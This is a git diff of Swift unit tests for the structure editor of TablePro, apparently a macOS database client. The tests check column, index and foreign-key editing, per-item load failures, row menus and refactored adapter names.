-        #expect(value(row, named: String(localized: "Name")) == "email")
-        #expect(value(row, named: String(localized: "Type")) == "VARCHAR(255)")
-        #expect(value(row, named: String(localized: "Nullable")) == "YES")
-        #expect(row.isEditable)
-    }
-
-    @Test("A filtered grid resolves the display row to the right column")
-    func filteredDisplayRowResolvesToSourceEntity() throws {
-        let manager = loadedManager()
-        let row = try #require(StructureInspectorRowBuilder.row(
-            atDisplayRow: 0,
-            tab: .columns,
-            provider: provider(manager, filterText: "email"),
-            canEditSchema: true
-        ))
-
-        #expect(value(row, named: String(localized: "Name")) == "email")
-    }
-
-    @Test("A sorted grid resolves the display row to the right column")
-    func sortedDisplayRowResolvesToSourceEntity() throws {
-        let manager = loadedManager()
-        let row = try #require(StructureInspectorRowBuilder.row(
-            atDisplayRow: 0,
-            tab: .columns,
-            provider: provider(manager, sortDescriptor: StructureSortDescriptor(column: 0, ascending: false)),
-            canEditSchema: true
-        ))
-
-        #expect(value(row, named: String(localized: "Name")) == "id")
-    }
-
-    @Test("Flag fields offer the same YES and NO list the grid offers")
-    func flagFieldsUseDropdownEditors() throws {
-        let manager = loadedManager()
-        let row = try #require(StructureInspectorRowBuilder.row(
-            atDisplayRow: 0,
-            tab: .columns,
-            provider: provider(manager),
-            canEditSchema: true
-        ))
-
-        let nullable = try #require(row.fields.first { $0.name == String(localized: "Nullable") })
-        #expect(nullable.editor == .enumPicker(values: StructureRowProvider.booleanOptions))
-
-        let type = try #require(row.fields.first { $0.name == String(localized: "Type") })
-        #expect(type.editor == .typePicker)
-
-        let name = try #require(row.fields.first { $0.name == String(localized: "Name") })
-        #expect(name.editor == .schemaText)
-    }
-
-    @Test("An edited field is reported as modified")
-    func editedFieldIsMarkedModified() throws {
-        let manager = loadedManager()
-        var column = manager.workingColumns[1]
-        column.dataType = "TEXT"
-        manager.updateColumn(id: column.id, with: column)
-
-        let row = try #require(StructureInspectorRowBuilder.row(
-            atDisplayRow: 1,
-            tab: .columns,
-            provider: provider(manager),
-            canEditSchema: true
-        ))
-
-        let type = try #require(row.fields.first { $0.name == String(localized: "Type") })
-        #expect(type.isModified)
-        let name = try #require(row.fields.first { $0.name == String(localized: "Name") })
-        #expect(!name.isModified)
-    }
-
-    @Test("A row pending deletion is read-only")
-    func pendingDeleteRowIsReadOnly() throws {
-        let manager = loadedManager()
-        manager.deleteColumn(id: manager.workingColumns[1].id)
-
-        let row = try #require(StructureInspectorRowBuilder.row(
-            atDisplayRow: 1,
-            tab: .columns,
-            provider: provider(manager),
-            canEditSchema: true
-        ))
-
-        #expect(!row.isEditable)
-    }
-
-    @Test("An engine without schema editing gets a read-only row")
-    func withoutSchemaEditingRowIsReadOnly() throws {
-        let manager = loadedManager()
-        let row = try #require(StructureInspectorRowBuilder.row(
-            atDisplayRow: 0,
-            tab: .columns,
-            provider: provider(manager),
-            canEditSchema: false
-        ))
-
-        #expect(!row.isEditable)
-    }
-
-    @Test("Tabs without a row grid supply nothing", arguments: [StructureTab.options, .ddl, .parts, .triggers])
-    func nonGridTabsSupplyNothing(tab: StructureTab) {
-        let manager = loadedManager()
-        #expect(StructureInspectorRowBuilder.row(
-            atDisplayRow: 0,
-            tab: tab,
-            provider: provider(manager, tab: tab),
-            canEditSchema: true
-        ) == nil)
-    }
-
-    @Test("A display row past the end supplies nothing")
-    func outOfRangeDisplayRowSuppliesNothing() {
-        let manager = loadedManager()
-        #expect(StructureInspectorRowBuilder.row(
-            atDisplayRow: 9,
-            tab: .columns,
-            provider: provider(manager),
-            canEditSchema: true
-        ) == nil)
-    }
-}
diff --git a/apple/TableProTests/Views/Structure/StructureListGridAccessibilityTests.swift b/apple/TableProTests/Views/Structure/StructureListGridAccessibilityTests.swift
index 6a51846885..b4e8440113 100644
--- a/apple/TableProTests/Views/Structure/StructureListGridAccessibilityTests.swift
+++ b/apple/TableProTests/Views/Structure/StructureListGridAccessibilityTests.swift
@@ -162,7 +162,7 @@ struct StructureListGridAccessibilityTests {
         }
         let table = try #require(Self.mainTable(in: window.contentView))
 
-        #expect(table.accessibilityLabel() == StructureTab.triggers.displayName)
+        #expect(table.accessibilityLabel() == StructurePane.triggers.displayName)
     }
 
     private static func mainTable(in view: NSView?) -> DataGridTableView? {
diff --git a/apple/TableProTests/Views/Structure/StructureLoadStateTests.swift b/apple/TableProTests/Views/Structure/StructureLoadStateTests.swift
new file mode 100644
index 0000000000..a8377c2eaa
--- /dev/null
+++ b/apple/TableProTests/Views/Structure/StructureLoadStateTests.swift
@@ -0,0 +1,148 @@
+//
+//  StructureLoadStateTests.swift
+//  TableProTests
+//
+
+import Foundation
+import Testing
+
+@testable import TablePro
+
+struct StructureLoadStateTests {
+    @Test("A fresh state has no data and needs every part fetched")
+    func freshStateNeedsFetch() {
+        let state = StructureLoadState()
+
+        for item in StructureLoadState.Item.allCases {
+            #expect(!state.hasData(item))
+            #expect(state.needsFetch(item))
+            #expect(state.failure(item) == nil)
+        }
+    }
+
+    @Test("markFetched records data and clears the fetch requirement")
+    func markFetchedRecordsData() {
+        var state = StructureLoadState()
+        state.markFetched(.indexes)
+
+        #expect(state.hasData(.indexes))
+        #expect(!state.needsFetch(.indexes))
+        #expect(!state.hasData(.columns))
+    }
+
+    @Test("markAllStale keeps counts on screen while requiring a refetch")
+    func markAllStaleKeepsData() {
+        var state = StructureLoadState()
+        state.markFetched(.columns)
+        state.markFetched(.indexes)
+        state.markFetched(.foreignKeys)
+
+        state.markAllStale()
+
+        for item in [StructureLoadState.Item.columns, .indexes, .foreignKeys] {
+            #expect(state.hasData(item))
+            #expect(state.needsFetch(item))
+        }
+    }
+
+    @Test("Refetching a stale part clears only that part's staleness")
+    func refetchClearsSinglePart() {
+        var state = StructureLoadState()
+        state.markFetched(.columns)
+        state.markFetched(.ddl)
+        state.markAllStale()
+
+        state.markFetched(.columns)
+
+        #expect(!state.needsFetch(.columns))
+        #expect(state.needsFetch(.ddl))
+        #expect(state.hasData(.ddl))
+    }
+
+    @Test("reset drops the data and the failures so a different table starts cold")
+    func resetDropsData() {
+        var state = StructureLoadState()
+        state.markFetched(.columns)
+        state.markFailed(.triggers, message: "permission denied")
+        state.markAllStale()
+
+        state.reset()
+
+        #expect(!state.hasData(.columns))
+        #expect(state.needsFetch(.columns))
+        #expect(state.failures.isEmpty)
+    }
+
+    // One failed read used to blank every sub-tab, and a failed triggers read showed as "No Triggers".
+    @Test("A failed read is reported for its own part only, and keeps what that part had loaded")
+    func failureIsPerItem() {
+        var state = StructureLoadState()
+        state.markFetched(.columns)
+        state.markFetched(.triggers)
+
+        state.markFailed(.triggers, message: "permission denied")
+
+        #expect(state.failure(.triggers) == "permission denied")
+        #expect(state.hasData(.triggers))
+        #expect(state.needsFetch(.triggers))
+        #expect(state.failure(.columns) == nil)
+        #expect(!state.needsFetch(.columns))
+        #expect(state.failures == [.triggers: "permission denied"])
+    }
+
+    @Test("A first read that fails has no data, says why, and is fetched again")
+    func firstReadFailure() {
+        var state = StructureLoadState()
+
+        state.markFailed(.ddl, message: "timed out")
+
+        #expect(!state.hasData(.ddl))
+        #expect(state.failure(.ddl) == "timed out")
+        #expect(state.needsFetch(.ddl))
+    }
+
+    @Test("Several parts can fail at once, each with its own message")
+    func failuresAreIndependent() {
+        var state = StructureLoadState()
+
+        state.markFailed(.indexes, message: "no index access")
+        state.markFailed(.checkConstraints, message: "no catalog access")
+
+        #expect(state.failure(.indexes) == "no index access")
+        #expect(state.failure(.checkConstraints) == "no catalog access")
+        #expect(state.failure(.foreignKeys) == nil)
+    }
+
+    @Test("A read that lands clears that part's failure")
+    func fetchClearsFailure() {
+        var state = StructureLoadState()
+        state.markFailed(.foreignKeys, message: "timed out")
+        state.markFailed(.indexes, message: "timed out")
+
+        state.markFetched(.foreignKeys)
+
+        #expect(state.failure(.foreignKeys) == nil)
+        #expect(!state.needsFetch(.foreignKeys))
+        #expect(state.failure(.indexes) == "timed out")
+    }
+
+    @Test("Marking everything stale keeps the failures on screen")
+    func staleKeepsFailures() {
+        var state = StructureLoadState()
+        state.markFetched(.columns)
+        state.markFailed(.columns, message: "timed out")
+
+        state.markAllStale()
+
+        #expect(state.failure(.columns) == "timed out")
+        #expect(state.hasData(.columns))
+    }
+
+    @Test("Each section reads into its own part")
+    func sectionMapsToItsItem() {
+        #expect(StructureLoadState.Item(StructureSection.columns) == .columns)
+        #expect(StructureLoadState.Item(StructureSection.indexes) == .indexes)
+        #expect(StructureLoadState.Item(StructureSection.foreignKeys) == .foreignKeys)
+        #expect(StructureLoadState.Item(StructureSection.checkConstraints) == .checkConstraints)
+    }
+}
diff --git a/apple/TableProTests/Views/Structure/StructureRowMenuRouteTests.swift b/apple/TableProTests/Views/Structure/StructureRowMenuRouteTests.swift
index ca55e1a0a9..c3312a8a20 100644
--- a/apple/TableProTests/Views/Structure/StructureRowMenuRouteTests.swift
+++ b/apple/TableProTests/Views/Structure/StructureRowMenuRouteTests.swift
@@ -12,31 +12,38 @@ import Testing
 // Every row menu, from any click and either pane, is the grid's commands plus the owner's `gridRowMenuItems`.
 @MainActor
 struct StructureRowMenuRouteTests {
-    private func makeAdapter(
-        tab: StructureTab = .columns,
+    private let suite: EphemeralDefaults
+
+    init() throws {
+        suite = try EphemeralDefaults()
+    }
+
+    private func makeEditor(
         type: DatabaseType = .mysql,
         objectKind: TableInfo.TableType = .table,
         manager: StructureChangeManager = StructureChangeManager()
-    ) -> StructureGridAdapter {
+    ) -> StructureDefinitionEditor {
         if manager.workingColumns.isEmpty {
             manager.addColumn(.placeholder())
         }
-        let adapter = StructureGridAdapter(
-            structureChangeManager: manager,
-            connection: TestFixtures.makeConnection(type: type),
-            tableName: "orders",
-            databaseName: "shop",
-            schemaName: nil,
-            objectKind: objectKind,
-            isSessionBound: false
+        let editor = StructureDefinitionEditor(
+            manager: manager,
+            context: .existingTable(
+                connection: TestFixtures.makeConnection(type: type),
+                databaseName: "shop",
+                schemaName: nil,
+                tableName: "orders",
+                objectKind: objectKind,
+                isSessionBound: false
+            ),
+            defaults: suite.defaults
         )
-        adapter.store.switchSubTab(to: tab)
-        adapter.refresh()
-        return adapter
+        editor.refresh()
+        return editor
     }
 
-    private func row(_ sourceIndex: Int) -> RowID {
-        StructureRowProvider.rowID(forSourceIndex: sourceIndex)
+    private func row(_ sourceIndex: Int, in adapter: StructureSectionAdapter) -> RowID {
+        adapter.rowID(forEntity: StructureGridEdits.entityIDs(in: adapter.section, manager: adapter.manager)[sourceIndex])
     }
 
     private func titles(_ items: [NSMenuItem]) -> [String] {
@@ -45,8 +52,9 @@ struct StructureRowMenuRouteTests {
 
     @Test("A column row's menu is the schema's own items, with no result commands")
     func columnRowsGetTheStructureMenu() {
-        let adapter = makeAdapter()
-        let items = titles(adapter.gridRowMenuItems(for: [row(0)], clickedRow: row(0)))
+        let editor = makeEditor()
+        let adapter = editor.adapter(for: .columns)
+        let items = titles(adapter.gridRowMenuItems(for: [row(0, in: adapter)], clickedRow: row(0, in: adapter)))
 
         #expect(items.contains(String(localized: "Copy Name")))
         #expect(items.contains(String(localized: "Copy Definition")))
@@ -54,15 +62,6 @@ struct StructureRowMenuRouteTests {
         #expect(commands.isDisjoint(with: [.exportResults, .showRowsAsJSON, .clearResults, .copyAsSQL, .filterWithColumn]))
     }
 
-    @Test("A DDL tab row offers no row items and no row commands")
-    func theDdlTabRaisesNoMenu() {
-        let adapter = makeAdapter(tab: .ddl)
-
-        #expect(adapter.gridRowMenuItems(for: [row(0)], clickedRow: row(0)).isEmpty)
-        #expect(adapter.gridEmptySpaceMenu() == nil)
-        #expect(adapter.model.configuration.commands.isDisjoint(with: [.deleteRows, .duplicateRows, .addRow, .undoDelete]))
-    }
-
     @Test("A row pending deletion offers none of the schema's items")
     func deletedRowOffersNothing() throws {
         let manager = StructureChangeManager()
@@ -73,21 +72,25 @@ struct StructureRowMenuRouteTests {
             foreignKeys: [],
             primaryKey: ["id"]
         )
-        let adapter = makeAdapter(manager: manager)
-        adapter.gridDeleteRows([row(0)])
+        let editor = makeEditor(manager: manager)
+        let adapter = editor.adapter(for: .columns)
+        let id = row(0, in: adapter)
+        adapter.gridDeleteRows([id])
         try #require(manager.deleteInsertState(for: 0, tab: .columns).isDeleted)
 
-        #expect(adapter.gridRowMenuItems(for: [row(0)], clickedRow: row(0)).isEmpty)
+        #expect(adapter.gridRowMenuItems(for: [id], clickedRow: id).isEmpty)
     }
 
     // A materialized view refuses DROP COLUMN and ADD COLUMN; the menu used to offer both and do nothing.
     @Test("Delete and Duplicate are offered only where the object accepts them")
     func rowEditsFollowTheGate() {
-        let refused = makeAdapter(type: .postgresql, objectKind: .materializedView)
+        let refusedEditor = makeEditor(type: .postgresql, objectKind: .materializedView)
+        let refused = refusedEditor.adapter(for: .columns)
         #expect(refused.model.configuration.commands.isDisjoint(with: [.deleteRows, .duplicateRows]))
-        #expect(refused.gridRowMenuItems(for: [row(0)], clickedRow: row(0)).last?.isSeparatorItem == false)
+        #expect(refused.gridRowMenuItems(for: [row(0, in: refused)], clickedRow: row(0, in: refused)).last?.isSeparatorItem == false)
 
-        let accepted = makeAdapter()
+        let acceptedEditor = makeEditor()
+        let accepted = acceptedEditor.adapter(for: .columns)
         #expect(accepted.model.configuration.commands.isSuperset(of: [.deleteRows, .duplicateRows, .undoDelete]))
     }
 
@@ -100,13 +103,14 @@ struct StructureRowMenuRouteTests {
         second.referencedTable = "products"
         manager.addForeignKey(first)
         manager.addForeignKey(second)
-        let adapter = makeAdapter(tab: .foreignKeys, manager: manager)
+        let editor = makeEditor(manager: manager)
+        let adapter = editor.adapter(for: .foreignKeys)
         let openCustomers = String(format: String(localized: "Open %@"), "customers")
         let openProducts = String(format: String(localized: "Open %@"), "products")
 
-        #expect(titles(adapter.gridRowMenuItems(for: [row(0)], clickedRow: row(0))).contains(openCustomers))
+        #expect(titles(adapter.gridRowMenuItems(for: [row(0, in: adapter)], clickedRow: row(0, in: adapter))).contains(openCustomers))
 
-        let selection = titles(adapter.structureRowMenuItems(for: [row(0), row(1)], clickedRow: row(1)))
+        let selection = titles(adapter.rowMenuItems(for: [row(0, in: adapter), row(1, in: adapter)], clickedRow: row(1, in: adapter)))
         #expect(selection.contains(openProducts))
         #expect(!selection.contains(openCustomers))
     }
@@ -125,12 +129,16 @@ struct StructureRowMenuRouteTests {
             foreignKeys: [],
             primaryKey: ["id"]
         )
-        let adapter = makeAdapter(manager: manager)
+        let editor = makeEditor(manager: manager)
+        let adapter = editor.adapter(for: .columns)
         try #require(adapter.model.configuration.rowReorder.isEnabled)
         var moved: (from: Int, to: Int)?
-        adapter.moveRowHandler = { moved = ($0, $1) }
+        editor.moveColumnHandler = { moved = ($0, $1) }
 
-        let items = adapter.structureRowMenuItems(for: [row(0), row(1), row(2)], clickedRow: row(2))
+        let items = adapter.rowMenuItems(
+            for: [row(0, in: adapter), row(1, in: adapter), row(2, in: adapter)],
+            clickedRow: row(2, in: adapter)
+        )
         let up = try #require(items.first { $0.title == String(localized: "Move Column Up") })
         let down = try #require(items.first { $0.title == String(localized: "Move Column Down") })
         #expect(up.action != nil)
@@ -156,28 +164,17 @@ struct StructureRowMenuRouteTests {
             foreignKeys: [],
             primaryKey: ["id"]
         )
-        let adapter = makeAdapter(manager: manager)
-        adapter.gridDeleteRows([row(1)])
+        let editor = makeEditor(manager: manager)
+        let adapter = editor.adapter(for: .columns)
+        let rows = [row(0, in: adapter), row(1, in: adapter), row(2, in: adapter)]
+        adapter.gridDeleteRows([rows[1]])
         try #require(manager.deleteInsertState(for: 1, tab: .columns).isDeleted)
-        let selection = [row(0), row(1), row(2)]
 
-        let items = titles(adapter.gridRowMenuItems(for: selection, clickedRow: row(0)))
+        let items = titles(adapter.gridRowMenuItems(for: rows, clickedRow: rows[0]))
         #expect(items.contains(String(localized: "Copy Name")))
         #expect(items.contains(String(localized: "Copy Definition")))
         #expect(items.contains(String(localized: "Copy As")))
-        #expect(titles(adapter.structureRowMenuItems(for: selection, clickedRow: row(2))).contains(String(localized: "Copy Name")))
-        #expect(adapter.structureRowMenuItems(for: selection, clickedRow: row(1)).isEmpty)
-    }
-
-    @Test("The empty space below the rows offers the sub-tab's own Add")
-    func emptySpaceOffersAdd() {
-        let columns = makeAdapter(tab: .columns)
-        #expect(titles(columns.gridEmptySpaceMenu()?.items ?? []) == [String(localized: "Add Column")])
-
-        let indexes = makeAdapter(tab: .indexes)
-        #expect(titles(indexes.gridEmptySpaceMenu()?.items ?? []) == [String(localized: "Add Index")])
-
-        let view = makeAdapter(type: .postgresql, objectKind: .view)
-        #expect(view.gridEmptySpaceMenu() == nil)
+        #expect(titles(adapter.rowMenuItems(for: rows, clickedRow: rows[2])).contains(String(localized: "Copy Name")))
+        #expect(adapter.rowMenuItems(for: rows, clickedRow: rows[1]).isEmpty)
     }
 }
diff --git a/apple/TableProTests/Views/Structure/StructureRowProviderBooleanOptionsTests.swift b/apple/TableProTests/Views/Structure/StructureRowProviderBooleanOptionsTests.swift
index 6d909ff121..6e3278759f 100644
--- a/apple/TableProTests/Views/Structure/StructureRowProviderBooleanOptionsTests.swift
+++ b/apple/TableProTests/Views/Structure/StructureRowProviderBooleanOptionsTests.swift
@@ -36,7 +36,7 @@ struct StructureRowProviderBooleanOptionsTests {
         return manager
     }
 
-    private func makeProvider(tab: StructureTab = .columns) -> StructureRowProvider {
+    private func makeProvider(tab: StructureSection = .columns) -> StructureRowProvider {
         StructureRowProvider(
             changeManager: makeManager(),
             tab: tab,
@@ -62,9 +62,7 @@ struct StructureRowProviderBooleanOptionsTests {
         }
     }
 
-    /// A closed vocabulary has to contain whatever the grid drew, or the menu cannot show the
-    /// current value as the selected one. The Default column is deliberately not closed: it holds
-    /// an open-ended SQL expression, which is what its `Custom…` entry marks it as.
+    // A menu can show the current value as selected only if it holds what the grid drew. Default is open: `Custom…`.
     @Test("A closed column's options are exactly what the grid draws")
     func optionsMatchRenderedValues() {
         let provider = makeProvider()
@@ -109,7 +107,7 @@ struct StructureRowProviderBooleanOptionsTests {
     @Test("No structure column reports itself as nullable, so Set NULL is never offered")
     func structureColumnsAreNeverNullable() {
         let provider = makeProvider()
-        let rows = provider.asTableRows()
+        let rows = provider.asTableRows { RowID.existing($0) }
         #expect(!rows.columnNullable.isEmpty)
         for column in provider.columns {
             #expect(rows.columnNullable[column] == false)
diff --git a/apple/TableProTests/Views/Structure/StructureRowProviderTests.swift b/apple/TableProTests/Views/Structure/StructureRowProviderTests.swift
index e899cdce4a..647cd754ff 100644
--- a/apple/TableProTests/Views/Structure/StructureRowProviderTests.swift
+++ b/apple/TableProTests/Views/Structure/StructureRowProviderTests.swift
@@ -141,7 +141,7 @@ struct StructureRowProviderChangeStateTests {
 
     private func provider(
         _ manager: StructureChangeManager,
-        tab: StructureTab = .columns,
+        tab: StructureSection = .columns,
         filterText: String? = nil
     ) -> StructureRowProvider {
         StructureRowProvider(
diff --git a/apple/TableProTests/Views/Structure/StructureSectionAdapterTests.swift b/apple/TableProTests/Views/Structure/StructureSectionAdapterTests.swift
new file mode 100644
index 0000000000..52de660f26
--- /dev/null
+++ b/apple/TableProTests/Views/Structure/StructureSectionAdapterTests.swift
@@ -0,0 +1,285 @@
+//
+//  StructureSectionAdapterTests.swift
+//  TableProTests
+//
+//  Add and Delete per section, the contract the +/- beneath each table, Cmd+Shift+N and the row menus share.
+//
+
+import Foundation
+@testable import TablePro
+import TableProPluginKit
+import Testing
+
+@MainActor
+struct StructureSectionAdapterTests {
+    private let suite: EphemeralDefaults
+
+    init() throws {
+        suite = try EphemeralDefaults()
+    }
+
+    private func makeEditor(
+        type: DatabaseType = .mysql,
+        objectKind: TableInfo.TableType = .table,
+        manager: StructureChangeManager = StructureChangeManager()
+    ) -> StructureDefinitionEditor {
+        let editor = StructureDefinitionEditor(
+            manager: manager,
+            context: .existingTable(
+                connection: TestFixtures.makeConnection(type: type),
+                databaseName: "db",
+                schemaName: nil,
+                tableName: "t",
+                objectKind: objectKind,
+                isSessionBound: false
+            ),
+            defaults: suite.defaults
+        )
+        editor.refresh()
+        return editor
+    }
+
+    private func row(_ sourceIndex: Int, in adapter: StructureSectionAdapter) -> RowID {
+        adapter.rowID(forEntity: StructureGridEdits.entityIDs(in: adapter.section, manager: adapter.manager)[sourceIndex])
+    }
+
+    private func columns(named names: [String]) -> StructureChangeManager {
+        let manager = StructureChangeManager()
+        for name in names {
+            var column = EditableColumnDefinition.placeholder()
+            column.name = name
+            column.dataType = "TEXT"
+            manager.addColumn(column)
+        }
+        return manager
+    }
+
+    @Test("Columns: Add Row appends a placeholder column")
+    func columnsAddsColumn() {
+        let editor = makeEditor()
+        let before = editor.manager.workingColumns.count
+        editor.adapter(for: .columns).gridAddRow()
+        #expect(editor.manager.workingColumns.count == before + 1)
+    }
+
+    @Test("Indexes: Add Row appends a placeholder index")
+    func indexesAddsIndex() {
+        let editor = makeEditor()
+        let before = editor.manager.workingIndexes.count
+        editor.adapter(for: .indexes).gridAddRow()
+        #expect(editor.manager.workingIndexes.count == before + 1)
+    }
+
+    @Test("Foreign keys: Add Row appends a placeholder foreign key")
+    func foreignKeysAddsForeignKey() {
+        let editor = makeEditor()
+        let before = editor.manager.workingForeignKeys.count
+        editor.adapter(for: .foreignKeys).gridAddRow()
+        #expect(editor.manager.workingForeignKeys.count == before + 1)
+    }
+
+    @Test("Each section adds only its own kind of definition", arguments: StructureSection.allCases)
+    func addStaysInItsSection(section: StructureSection) {
+        let editor = makeEditor(type: .postgresql)
+        editor.adapter(for: section).gridAddRow()
+
+        for other in StructureSection.allCases {
+            let count = StructureGridEdits.rowCount(on: other, manager: editor.manager)
+            #expect(count == (other == section ? 1 : 0), "\(other.rawValue)")
+        }
+    }
+
+    // SQLite's curated snapshot overrides neither supportsAddIndex nor supportsDropIndex, so both default to true.
+    @Test("Indexes on SQLite: Add Row appends an index")
+    func sqliteIndexesAddsAnIndex() {
+        let editor = makeEditor(type: .sqlite)
+        let before = editor.manager.workingIndexes.count
+        editor.adapter(for: .indexes).gridAddRow()
+        #expect(editor.manager.workingIndexes.count == before + 1)
+    }
+
+    @Test("Columns: Delete removes the column the row names")
+    func columnsDeleteRemovesColumn() {
+        let editor = makeEditor()
+        let adapter = editor.adapter(for: .columns)
+        adapter.gridAddRow()
+        let after = editor.manager.workingColumns.count
+        #expect(after > 0)
+        adapter.gridDeleteRows([row(after - 1, in: adapter)])
+        #expect(editor.manager.workingColumns.count == after - 1)
+    }
+
+    @Test("Indexes: Delete removes the index the row names")
+    func indexesDeleteRemovesIndex() {
+        let editor = makeEditor()
+        let adapter = editor.adapter(for: .indexes)
+        adapter.gridAddRow()
+        let after = editor.manager.workingIndexes.count
+        #expect(after > 0)
+        adapter.gridDeleteRows([row(after - 1, in: adapter)])
+        #expect(editor.manager.workingIndexes.count == after - 1)
+    }
+
+    @Test("Foreign keys: Delete removes the foreign key the row names")
+    func foreignKeysDeleteRemovesForeignKey() {
+        let editor = makeEditor()
+        let adapter = editor.adapter(for: .foreignKeys)
+        adapter.gridAddRow()
+        let after = editor.manager.workingForeignKeys.count
+        #expect(after > 0)
+        adapter.gridDeleteRows([row(after - 1, in: adapter)])
+        #expect(editor.manager.workingForeignKeys.count == after - 1)
+    }
+
+    @Test("Indexes on SQLite: Delete removes an index")
+    func sqliteIndexesDeletesAnIndex() {
+        let manager = StructureChangeManager()
+        manager.addIndex(.placeholder())
+        let editor = makeEditor(type: .sqlite, manager: manager)
+        let adapter = editor.adapter(for: .indexes)
+        let before = manager.workingIndexes.count
+
+        adapter.gridDeleteRows([row(before - 1, in: adapter)])
+
+        #expect(manager.workingIndexes.count == before - 1)
+    }
+
+    @Test("Deleting the last row selects the row above it")
+    func deletingTheLastRowSelectsTheOneAbove() {
+        let manager = StructureChangeManager()
+        for _ in 0..<3 {
+            manager.addColumn(.placeholder())
+        }
+        let editor = makeEditor(manager: manager)
+        let adapter = editor.adapter(for: .columns)
+        let above = row(1, in: adapter)
+        adapter.model.selectRows([row(2, in: adapter)])
+
+        adapter.gridDeleteRows([row(2, in: adapter)])
+
+        #expect(manager.workingColumns.count == 2)
+        #expect(adapter.model.selectedRowIDs == [above])
+    }
+
+    // MARK: - Row identity
+
+    // A RowID was the definition's index, so removing one above moved the selection onto its neighbour.
+    @Test("The selection stays on its definition across a refresh after a definition above it is removed")
+    func selectionSurvivesRemovalAbove() {
+        let manager = columns(named: ["a", "b", "c"])
+        let editor = makeEditor(manager: manager)
+        let adapter = editor.adapter(for: .columns)
+        let c = manager.workingColumns[2].id
+        let rowID = adapter.rowID(forEntity: c)
+        adapter.select(entity: c)
+        #expect(adapter.sourceIndex(of: rowID) == 2)
+
+        manager.deleteColumn(id: manager.workingColumns[0].id)
+        editor.refresh()
+
+        #expect(manager.workingColumns.map(\.name) == ["b", "c"])
+        #expect(adapter.rowID(forEntity: c) == rowID)
+        #expect(adapter.entityID(of: rowID) == c)
+        #expect(adapter.sourceIndex(of: rowID) == 1)
+        #expect(adapter.model.selectedRowIDs == [rowID])
+        #expect(adapter.selectedEntityIDs == [c])
+        #expect(editor.inspectorTarget == .entity(.columns, c))
+    }
+
+    @Test("A sort reorders the rows without renaming them")
+    func rowIDSurvivesSort() {
+        let manager = columns(named: ["a", "b", "c"])
+        let editor = makeEditor(manager: manager)
+        let adapter = editor.adapter(for: .columns)
+        let a = manager.workingColumns[0].id
+
+        adapter.sortDidChange(SortState(columns: [SortColumn(columnIndex: 0, direction: .descending)], source: .user))
+
+        #expect(adapter.model.rowID(at: 2) == adapter.rowID(forEntity: a))
+        #expect(adapter.sourceIndex(of: adapter.rowID(forEntity: a)) == 0)
+    }
+
+    // MARK: - Several rows
+
+    @Test("Duplicating several rows is one undo step")
+    func duplicateIsOneUndoStep() {
+        let manager = columns(named: ["a", "b", "c"])
+        let editor = makeEditor(manager: manager)
+        let adapter = editor.adapter(for: .columns)
+
+        adapter.gridDuplicateRows([row(0, in: adapter), row(2, in: adapter)])
+        #expect(manager.workingColumns.map(\.name) == ["a", "b", "c", "a", "c"])
+
+        manager.undo()
+
+        #expect(manager.workingColumns.map(\.name) == ["a", "b", "c"])
+    }
+
+    @Test("Deleting several rows is one undo step")
+    func deleteIsOneUndoStep() {
+        let manager = columns(named: ["a", "b", "c"])
+        let editor = makeEditor(manager: manager)
+        let adapter = editor.adapter(for: .columns)
+
+        adapter.gridDeleteRows([row(0, in: adapter), row(2, in: adapter)])
+        #expect(manager.workingColumns.map(\.name) == ["b"])
+
+        manager.undo()
+
+        #expect(manager.workingColumns.map(\.name) == ["a", "b", "c"])
+    }
+
+    // MARK: - Per object kind
+
+    // Cmd+Shift+N, the row menus and the +/- all reach the adapter, so it refuses for itself (#2726).
+    @Test("A PostgreSQL view refuses an added column, whatever reaches the adapter")
+    func viewRefusesAnAddedColumn() {
+        let editor = makeEditor(type: .postgresql, objectKind: .view)
+        let adapter = editor.adapter(for: .columns)
+        adapter.gridAddRow()
+        #expect(editor.manager.workingColumns.isEmpty)
+        #expect(!adapter.model.configuration.commands.contains(.addRow))
+    }
+
+    @Test("A PostgreSQL view refuses an added index and a materialized view accepts one")
+    func indexesFollowTheObjectKind() {
+        let view = makeEditor(type: .postgresql, objectKind: .view)
+        view.adapter(for: .indexes).gridAddRow()
+        #expect(view.manager.workingIndexes.isEmpty)
+
+        let matview = makeEditor(type: .postgresql, objectKind: .materializedView)
+        matview.adapter(for: .indexes).gridAddRow()
+        #expect(matview.manager.workingIndexes.count == 1)
+    }
+
+    @Test("A PostgreSQL materialized view refuses a foreign key")
+    func materializedViewRefusesAForeignKey() {
+        let editor = makeEditor(type: .postgresql, objectKind: .materializedView)
+        editor.adapter(for: .foreignKeys).gridAddRow()
+        #expect(editor.manager.workingForeignKeys.isEmpty)
+    }
+
+    @Test("A view refuses to drop a column its own grid is showing")
+    func viewRefusesADroppedColumn() {
+        let manager = StructureChangeManager()
+        manager.addColumn(.placeholder())
+        #expect(manager.workingColumns.count == 1)
+        let editor = makeEditor(type: .postgresql, objectKind: .view, manager: manager)
+        let view = editor.adapter(for: .columns)
+
+        view.gridDeleteRows([row(0, in: view)])
+
+        #expect(manager.workingColumns.count == 1)
+        #expect(!view.model.configuration.commands.contains(.deleteRows))
+    }
+
+    @Test("A system table refuses every add", arguments: StructureSection.allCases)
+    func systemTableRefusesEveryAdd(section: StructureSection) {
+        let editor = makeEditor(type: .postgresql, objectKind: .systemTable)
+        editor.adapter(for: section).gridAddRow()
+        #expect(editor.manager.workingColumns.isEmpty)
+        #expect(editor.manager.workingIndexes.isEmpty)
+        #expect(editor.manager.workingForeignKeys.isEmpty)
+        #expect(editor.manager.workingCheckConstraints.isEmpty)
+    }
+}
diff --git a/apple/TableProTests/Views/Structure/StructureServerSupportTests.swift b/apple/TableProTests/Views/Structure/StructureServerSupportTests.swift
index ae7bc59834..915945b6c2 100644
--- a/apple/TableProTests/Views/Structure/StructureServerSupportTests.swift
+++ b/apple/TableProTests/Views/Structure/StructureServerSupportTests.swift
@@ -57,7 +57,7 @@ struct StructureServerSupportTests {
         return manager
     }
 
-    private func provider(tab: StructureTab, support: StructureServerSupport) -> StructureRowProvider {
+    private func provider(tab: StructureSection, support: StructureServerSupport) -> StructureRowProvider {
         StructureRowProvider(
             changeManager: makeManager(),
             tab: tab,
@@ -154,7 +154,7 @@ struct StructureServerSupportTests {
         let support = StructureServerSupport(driver: adapter)
         #expect(support.checkConstraintRefusal == "Check constraints need MySQL 8.0.16 or later.")
         #expect(!support.offers(.checkConstraints))
-        for tab in StructureTab.allCases where tab != .checkConstraints {
+        for tab in StructureSection.allCases where tab != .checkConstraints {
             #expect(support.offers(tab), "\(tab)")
         }
         #expect(StructureServerSupport.unrestricted.offers(.checkConstraints))
